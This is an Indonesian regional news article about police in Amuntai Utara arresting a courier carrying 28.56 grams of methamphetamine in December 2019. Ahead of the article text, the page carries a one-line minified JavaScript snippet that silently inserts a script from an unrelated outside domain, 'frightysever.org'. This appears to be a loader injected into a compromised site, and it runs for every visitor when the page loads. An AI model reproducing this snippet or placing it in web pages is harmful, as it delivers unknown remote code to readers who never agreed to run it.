(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
AMUNTAI, Polsek Amuntai Utara bersama anggota Sat Resnarkoba Polres HSU menggagalkan peredaran sabu seberat 28,56 gram dari tangan Abdul Rahman alias Aman (30) pada Senin (16/12/2019) sekitar pukul 16.30 Wita.
Kapolres HSU AKBP Ahmad Arif Sopiyan melalui Kapolsek Amuntai Utara Ipda Rama Ramadhani, kepada Kanalkalimantan.com, Selasa (17/12) mengakui melaui respon dari laporan warga jajarannya berhasil menangkap pelaku yang merupakan warga luar Kabupaten HSU.
Pelaku diketahui msebagai warga Desa Binjai Pemangkih, Kecamatan Labuan Amas Utara Kabupaten Hulu Sungai Tengah (HST) dibekuk setelah kedapatan membawa sabu menggunakan sepeda motor matic, sabu sebanyak 28 gram itu rencananya bakal diedarkankan ke wilayah Kalimantan Tengah.
Kepada polisi, tersangka Aman sendiri mengaku sebagai seorang kurir sabu yang diberi upah ongkos jalan sebesar Rp150 ribu.
“Untuk informasinya berawal dari penyelidikan yang dilakukan anggota, pelaku merupakan kurir yang disuruh mengantar sabu ke daerah kalteng, kalau berhasil sampai diupah Rp1,5 juta,†jelas Kapolsek Amuntai Utara.
Dari informasi awalnya, Aman ditangkap di pinggir jalan raya Amuntai-Tanjung kawasan Desa Muara Baruh, Kecamatan Amuntai Utara.
Setelah polisi berhasil mendapat informasi tentang adanya pelaku dengan ciri-ciri tertentu yang membawa narkotika jenis sabu.
Saat tersangka Aman melintas di depan Polsek Amuntai Utara, anggota polisi langsung bergerak cepat dengan melukan pengejaran dan akhirnya saat dihentikan, polisi langsung melakukan pengeledahan.
Alhasil, dari penggeledahan tersebut ditemukan 6 paket sabu yang dibungkus plastik bening serta dilapis lakban warna hitam dengan berat kotor 29,76 gram dan berat bersih 28,56 gram yang disimpan di saku celana depan sebelah kanan tersangka.
Sementara terkait asal muasal barang haram tersebut Kapolsek menerangkan pihaknya masih menelusuri dan mendalaminya.
Saat ini tersangka bersama barang bukti sendiri diamankan di Kantor Polsek Amuntai Utara guna proses lebih lanjut dengan terancam Pasal 114 Ayat ( 2 ) Atau 112 Ayat ( 2 ) UU RI No.35 Tahun 2009 Tentang Narkotika, yakni 15 tahun penjara. (dew)
KANALKALIMANTAN.COM, KUALA KAPUAS - Kantor Kelurahan Selat Hulu yang berlokasi di Jalan Cilik Riwut Gang… Read More
KANALKALIMANTAN.COM - Insan farmasi di Indonesia setiap tanggal 13 Februari memperingati Hari Persatuan Ahli Farmasi… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Kantor Perwakilan (KPw) Bank Indonesia (BI) Provinsi Kalimantan Selatan menggelar kick off… Read More
KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) sedang mendalami hubungan antara jabatan direksi yang dimiliki… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Gubernur Kalimantan Selatan (Kalsel) H Muhidin meminta langkah strategis untuk memastikan dana… Read More
KANALKALIMANTAN.COM, PARINGIN - Upaya mencegah perkawinan usia anak, Dinas Pemberdayaan Perempuan, Perlindungan Anak, Pengendalian Penduduk,… Read More
This website uses cookies.